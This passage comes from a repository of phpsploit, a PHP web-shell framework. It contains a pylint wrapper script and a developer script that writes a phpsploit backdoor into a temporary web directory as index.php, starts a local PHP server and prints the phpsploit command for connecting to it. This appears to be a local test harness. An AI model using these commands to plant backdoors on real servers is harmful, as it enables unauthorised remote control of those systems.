BASEDIR="$(git -C "$SCRIPTDIR" rev-parse --show-toplevel)" 5 | 6 | # add ./src to PYTHONPATH 7 | src="$BASEDIR/src" 8 | PYTHONPATH=":${src}:${PYTHONPATH}" 9 | 10 | pre_args="--good-names=e,x,i,p,m --disable=no-member,not-callable" 11 | if [ -z "$1" ]; then 12 | # default args (if not defined in argv[1:]) 13 | args="$BASEDIR/phpsploit $BASEDIR/src/" 14 | exec /usr/bin/pylint3 $pre_args $args 15 | else 16 | exec /usr/bin/pylint3 $pre_args "$@" 17 | fi 18 | -------------------------------------------------------------------------------- /utils/start_phpsploit_connected.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | SCRIPTDIR="$(readlink -f `dirname $0`)" 4 | cd "$(git rev-parse --show-toplevel)" 5 | 6 | SRV_ADDR="127.0.0.1:64956" 7 | SRV_WEBDIR="/tmp/phpsploit-temp-server/" 8 | 9 | # reset srv_webdir 10 | mkdir -p "$SRV_WEBDIR" 11 | 12 | # inject backdoor on server 13 | ./phpsploit -e 'set BACKDOOR %%DEFAULT%%; exploit --get-backdoor' > "$SRV_WEBDIR/index.php" 14 | 15 | # return phpsploit command 16 | echo "use the following command to connect phpsploit to server:" 17 | echo " ----------------------------------------" 18 | echo " $(pwd)/phpsploit -t $SRV_ADDR -ie 'set BACKDOOR %%DEFAULT%%; set REQ_HEADER_PAYLOAD %%DEFAULT%%; exploit'" 19 | echo " ----------------------------------------" 20 | 21 | # start server 22 | php -S "$SRV_ADDR" -t "$SRV_WEBDIR" 23 | --------------------------------------------------------------------------------